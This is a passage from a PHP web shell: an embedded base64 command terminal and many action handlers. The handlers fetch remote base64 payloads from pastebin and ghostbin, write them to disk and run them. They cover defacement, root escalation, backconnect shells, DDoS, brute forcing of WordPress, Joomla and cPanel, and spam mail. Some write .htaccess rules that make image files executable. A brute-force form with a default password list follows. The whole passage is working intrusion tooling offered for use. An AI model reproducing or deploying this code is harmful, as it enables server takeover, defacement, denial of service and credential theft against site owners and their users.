ZKV1JWSmJKMU5EVWtsUVZGOU8gUVUxRkoxMGdPdzBLYldGcGJDQW9KR1Z1WTI5a2FXNW5MQ1J5Wlhvc0pITmxjblpsY20gUmxkR1ZqZEdsdVp5a2dPdzBLSkc1elkyUnBjaUE5S0NGcGMzTmxkQ2drWDFKRlVWVkYgVTFSYkozTmpaR2x5SjEwcEtUOW5aWFJqZDJRb0tUcGphR1JwY2lna1gxSkZVVlZGVTEgUmJKM05qWkdseUoxMHBPeVJ1YzJOa2FYSTlaMlYwWTNka0tDazcnKSk7Cgo/Pgo8L2Zvcm0+PC90ZD48L3RyPgo8L2JvZHk+CjwvaHRtbD4KPD9waHAgPz4KPD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygxKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0gLy8gZW5kIHBocHRoaWVubGUKCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUKIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwokdGVybWluYWw9bmV3IHBocHRoaWVubGU7CkBzZXNzaW9uX3N0YXJ0KCk7CiR0ZXJtaW5hbC0+aW5pdFZhcnMoKTsKJHRlcm1pbmFsLT5idWlsZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIHNhZmUgbW9kZSBpbmNyZWFzZQojIyBibG9xdWUgZm9uY3Rpb24KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwo/Pgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIgoiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIj4KPGhlYWQ+Cjx0aXRsZT48P3BocCBlY2hvICJXZWJzaXRlIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7Pz4gfCA8P3BocCBlY2hvICJJUCA6ICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiI7Pz48L3RpdGxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwppZiAoZS5rZXlDb2RlID09IDM4ICYmIGN1cnJlbnRfbGluZSA8IGNvbW1hbmRfaGlzdC5sZW5ndGgtMSkgewpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7CmN1cnJlbnRfbGluZSsrOwpkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlID0gY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV07Cn0KaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQp9CmZ1bmN0aW9uIGluaXQoKSB7CmRvY3VtZW50LnNoZWxsLnNldEF0dHJpYnV0ZSgiYXV0b2NvbXBsZXRlIiwgIm9mZiIpOwpkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbEhlaWdodDsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC5mb2N1cygpOwp9Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPGgyPkRldmVsb3BlciBCeSBLeW1Mam5rPC9oMj4KCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoqLz8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pg==';
1896 $file = fopen("command.php", "w+");
1897 $write = fwrite($file, base64_decode($perltoolss));
1898 fclose($file);
1899 echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe> ";
1900}//end NewCommand
1901
1902//symroot
1903elseif ($action == 'symroot') {
1904 $file = fopen($dir . "symroot.php", "w+");
1905 $perltoolss = file_get_contents('https://ghostbin.com/paste/fno7j/raw');
1906 $file = fopen("symroot.php", "w+");
1907 $write = fwrite($file, base64_decode($perltoolss));
1908 fclose($file);
1909 echo "<iframe src='symroot.php' width='100%' height='500'></iframe>";
1910 }
1911
1912//Zipcode
1913elseif ($action == 'zipcode') {
1914 $file = fopen($dir . "zipcode.php", "w+");
1915 $perltoolss = file_get_contents('https://ghostbin.com/paste/fxfu4/raw');
1916 $file = fopen("zipcode.php", "w+");
1917 $write = fwrite($file, base64_decode($perltoolss));
1918 fclose($file);
1919 echo "<iframe src='zipcode.php' width='100%' height='500'></iframe>";
1920 }
1921
1922//Massdeface
1923elseif ($action == 'mass') {
1924 $file = fopen($dir . "mass.php", "w+");
1925 $perltoolss = file_get_contents('https://ghostbin.com/paste/ggq7v/raw');
1926 $file = fopen("mass.php", "w+");
1927 $write = fwrite($file, base64_decode($perltoolss));
1928 fclose($file);
1929 echo "<iframe src='mass.php' width='100%' height='500'></iframe>";
1930 }
1931
1932
1933//ShellBypass
1934elseif ($action == 'vb') {
1935 $file = fopen($dir . "shellbypass.php", "w+");
1936 $perltoolss = file_get_contents('https://ghostbin.com/paste/cu2qo/raw');
1937 $file = fopen("shellbypass.php", "w+");
1938 $write = fwrite($file, base64_decode($perltoolss));
1939 fclose($file);
1940 echo "<iframe src='shellbypass.php' width='100%' height='500'></iframe>";
1941 }
1942
1943elseif ($action == 'termi') {
1944 $file = fopen($dir . "DGTerminal.php", "w+");
1945 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=F3AUVq9q');
1946 $file = fopen("DGTerminal.php", "w+");
1947 $write = fwrite($file, base64_decode($perltoolss));
1948 fclose($file);
1949 echo "<iframe src='DGTerminal.php' width='100%' height='500'></iframe>";
1950 }
1951
1952 elseif ($action == 'cgipin') {
1953 mkdir('Pin', 0755);
1954 chdir('Pin');
1955 $kokdosya = ".htaccess";
1956 $dosya_adi = "$kokdosya";
1957 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1958 $metin = "Options +ExecCGI
1959AddHandler cgi-script cgi pl cgi gmc pin jpg
1960RewriteEngine on
1961RewriteRule (.*)\.mil$ $1.cgi
1962Options +FollowSymLinks
1963DirectoryIndex cmd.html
1964Options +Indexes
1965RemoveHandler .hack
1966AddType text/plain .hack";
1967 fwrite($dosya, $metin);
1968 fclose($dosya);
1969 $perltoolss = file_get_contents('https://ghostbin.com/paste/5qyrs/raw');
1970 $file = fopen("cgi.pin", "w+");
1971 $write = fwrite($file, base64_decode($perltoolss));
1972 fclose($file);
1973 chmod("cgi.pin", 0755);
1974 echo "<iframe src=pin/cgi.pin width=100% height=720px frameborder=0></iframe> ";
1975}
1976
1977elseif ($action == 'telnet') {
1978 mkdir('tel', 0755);
1979 chdir('tel');
1980 $kokdosya = ".htaccess";
1981 $dosya_adi = "$kokdosya";
1982 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1983 $metin = "Options +FollowSymLinks +Indexes
1984DirectoryIndex default.html
1985## START ##
1986Options +ExecCGI
1987AddHandler cgi-script log cgi pl tg love h4 Marion001 tgb x-zone
1988AddType application/x-httpd-php .jpg
1989RewriteEngine on
1990RewriteRule (.*)\war$ .log
1991## END ##";
1992 fwrite($dosya, $metin);
1993 fclose($dosya);
1994 $perltoolss = file_get_contents('https://ghostbin.com/paste/bh278/raw');
1995 $file = fopen("telnet.pl", "w+");
1996 $write = fwrite($file, base64_decode($perltoolss));
1997 fclose($file);
1998 chmod("telnet.pl", 0755);
1999 echo "<iframe src=tel/telnet.pl width=100% height=720px frameborder=0></iframe> ";
2000}
2001
2002elseif ($action == 'endecode') {
2003$en = 'http://pastebin.com/raw.php?i=y5Qhr0WM';
2004$de = file_get_contents($en);
2005$cone = fopen('endecode.php', 'w');
2006fwrite($cone,$de);
2007fclose($cone);
2008echo "<iframe src='endecode.php' width='100%' height='500'></iframe>";
2009}
2010//BKV-1102
2011elseif ($action == 'BKV-1102') {
2012 $file = fopen($dir . "BKV-1102.php", "w+");
2013 $perltoolss = file_get_contents('http://pastebin.com/raw/43gW5UNP');
2014 $file = fopen("ws0.php", "w+");
2015 $write = fwrite($file, base64_decode($perltoolss));
2016 fclose($file);
2017 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2018}
2019//brutewp
2020elseif ($action == 'brutewp') {
2021 $file = fopen($dir . "brutewp.php", "w+");
2022 $perltoolss = file_get_contents('http://pastebin.com/raw.php/zSZ9PM44');
2023 $file = fopen("ws0.php", "w+");
2024 $write = fwrite($file, base64_decode($perltoolss));
2025 fclose($file);
2026 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2027}
2028//getroot
2029elseif ($action == 'getroot') {
2030 $file = fopen($dir . "getroot.php", "w+");
2031 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=cJZV55s1');
2032 $file = fopen("ws0.php", "w+");
2033 $write = fwrite($file, base64_decode($perltoolss));
2034 fclose($file);
2035 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2036}
2037//brutejoomla
2038elseif ($action == 'brutejl') {
2039 $file = fopen($dir . "brutewp.php", "w+");
2040 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=EXrxGmq3');
2041 $file = fopen("ws0.php", "w+");
2042 $write = fwrite($file, base64_decode($perltoolss));
2043 fclose($file);
2044 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2045}
2046//Base64
2047elseif ($action == 'base64') {
2048
2049 echo "<iframe src=http://tools.sinhvienit.net/base64/ width=100% height=720px frameborder=0></iframe> ";
2050}
2051//SSIHTML
2052elseif ($action == 'ssihtml') {
2053 $file = fopen($dir . "ssihtml", "w+");
2054 $perltoolss = file_get_contents('http://pastebin.com/raw.php/iAufj8Y7');
2055 $file = fopen("ssihtml.php", "w+");
2056 $write = fwrite($file, base64_decode($perltoolss));
2057 fclose($file);
2058 echo "<iframe src='ssihtml.php' width='100%' height='500'></iframe>";
2059}
2060//DDOS
2061elseif ($action == 'ddos') {
2062 $ddos = 'http://pastebin.com/raw.php?i=kJSN6ifL';
2063 $getfile = file_get_contents($ddos);
2064 $done = fopen('ddos.php', 'w');
2065 fwrite($done, $getfile);
2066 fclose($done);
2067 echo "<iframe src='ddos.php' width='100%' height='500'></iframe>";
2068}
2069
2070elseif ($action == 'ddosv2') {
2071$ddosv = 'http://pastebin.com/raw.php?i=XYwv7CSa';
2072$dess = file_get_contents($ddosv);
2073$coneww = fopen('ddosv2.php', 'w');
2074fwrite($coneww,$dess);
2075fclose($coneww);
2076echo "<iframe src='ddosv2.php' width='100%' height='500'></iframe>";
2077}
2078
2079elseif ($action == 'bcphp') {
2080 $file = fopen($dir . "backconnect.php", "w+");
2081 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q7mAs9Nf');
2082 $file = fopen("backconnect.php", "w+");
2083 $write = fwrite($file, base64_decode($perltoolss));
2084 fclose($file);
2085 echo "<iframe src='backconnect.php' width='100%' height='500'></iframe>";
2086}
2087//BruteCPv2
2088elseif ($action == 'brutecpv2') {
2089 $brutecpv2s = 'http://pastebin.com/raw.php?i=Xm28RVWL';
2090 $brutecpv2a = file_get_contents($brutecpv2s);
2091 $brutecpv2b = fopen('brutecpv2.php', 'w');
2092 fwrite($brutecpv2b, $brutecpv2a);
2093 fclose($brutecpv2b);
2094 echo "<iframe src='brutecpv2.php' width='100%' height='500'></iframe>";
2095}
2096
2097elseif ($action == 'viewdomain') {
2098$viewdomain = 'http://pastebin.com/raw.php?i=iGsiu7uK';
2099$desszzzz = file_get_contents($viewdomain);
2100$coww = fopen('viewdomain.php', 'w');
2101fwrite($coww,$desszzzz);
2102fclose($coww);
2103echo "<iframe src='viewdomain.php' width='100%' height='500'></iframe>";
2104}
2105
2106elseif ($action == 'scan') {
2107 $file = fopen($dir . "scan.php", "w+");
2108 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=PiUR3LPb');
2109 $file = fopen("scan.php", "w+");
2110 $write = fwrite($file, base64_decode($perltoolss));
2111 fclose($file);
2112 echo "<iframe src='scan.php' width='100%' height='500'></iframe>";
2113}
2114
2115
2116elseif ($action == 'massfd') {
2117 $file = fopen($dir . "massfd.php", "w+");
2118 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=S0uCaquf');
2119 $file = fopen("massfd.php", "w+");
2120 $write = fwrite($file, base64_decode($perltoolss));
2121 fclose($file);
2122 echo "<iframe src='massfd.php' width='100%' height='500'></iframe>";
2123}
2124
2125elseif ($action == 'reverseip') {
2126
2127 echo "<iframe src=http://www.yougetsignal.com/tools/web-sites-on-web-server/ width=100% height=720px frameborder=0></iframe> ";
2128}
2129//MD5
2130elseif ($action == 'md5') {
2131
2132 echo "<iframe src=http://www.md5.cz/ width=100% height=720px frameborder=0></iframe> ";
2133}
2134//crack
2135elseif ($action == 'crack') {
2136echo "<iframe src=https://hashkiller.co.uk/md5-decrypter.aspx/ width=100% height=400px frameborder=0></iframe> ";
2137}
2138//DDOS Bot Shell
2139elseif ($action == 'ddosbot') {
2140
2141 echo "<iframe src=http://www.yrmj.com/admin/upload/img/hoangdz2.php width=100% height=720px frameborder=0></iframe> ";
2142}
2143
2144elseif ($action == 'spam') {
2145 $file = fopen($dir . "fakemail.php", "w+");
2146 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=LjRcNVUa');
2147 $file = fopen("fakemail.php", "w+");
2148 $write = fwrite($file, base64_decode($perltoolss));
2149 fclose($file);
2150 echo "<iframe src='fakemail.php' width='100%' height='500'></iframe>";
2151}
2152
2153
2154//Bugshell
2155elseif ($action == 'bug') {
2156$bug = 'http://pastebin.com/raw.php?i=07hwC5fW';
2157$bugshell = file_get_contents($bug);
2158$bs = fopen('bugshell.php', 'w');
2159fwrite($bs,$bugshell);
2160fclose($mdf);
2161echo "<iframe src='bugshell.php' width='100%' height='500'></iframe>";
2162}
2163
2164//FINDADMIN
2165elseif ($action == 'findadmin') {
2166$find = 'http://pastebin.com/raw.php?i=8UmXBduC';
2167$admin = file_get_contents($find);
2168$dmm = fopen('findadmin.php', 'w');
2169fwrite($dmm,$admin);
2170fclose($dmm);
2171echo "<iframe src='findadmin.php' width='100%' height='500'></iframe>";
2172}
2173
2174// Brute
2175elseif ($action == 'brute') {
2176formhead(array('title'=>'Brute Forcer'));
2177 makehide('action','brute');
2178 makehide('dir',$brute);
2179@ini_set('memory_limit', 1000000000000);
2180$connect_timeout=5;
2181@set_time_limit(0);
2182$submit = $_REQUEST['submit'];
2183$users = $_REQUEST['users'];
2184$pass = $_REQUEST['passwords'];
2185$target = $_REQUEST['target'];
2186$option = $_REQUEST['option'];
2187
2188
2189$passlist = "0123456
219001234567
2191012345678
21920123456789
219301234567890
2194123456
21951234567
219612345678
2197123456789
21981234567890
2199111111
2200000000
2201222222
2202333333
2203444444
2204555555
2205666666
2206777777
2207888888
2208999999
2209123123
2210456456
2211789789
2212123321
2213456654
2214654321
22157654321
221687654321
2217987654321
22180987654321
2219admin
2220administrator
2221admincp
2222cpanel
2223adminx
2224admins
2225password
2226passwords
2227passw0rd
2228p@ssw0rd
2229p@ssword
2230khongco
223125251325
2232passw0rds";
2233if($target == ''){
2234$target = 'localhost';
2235}
2236print " <div align='center'>
2237<form method='post' style='border: 1px solid #000000'><br><br>
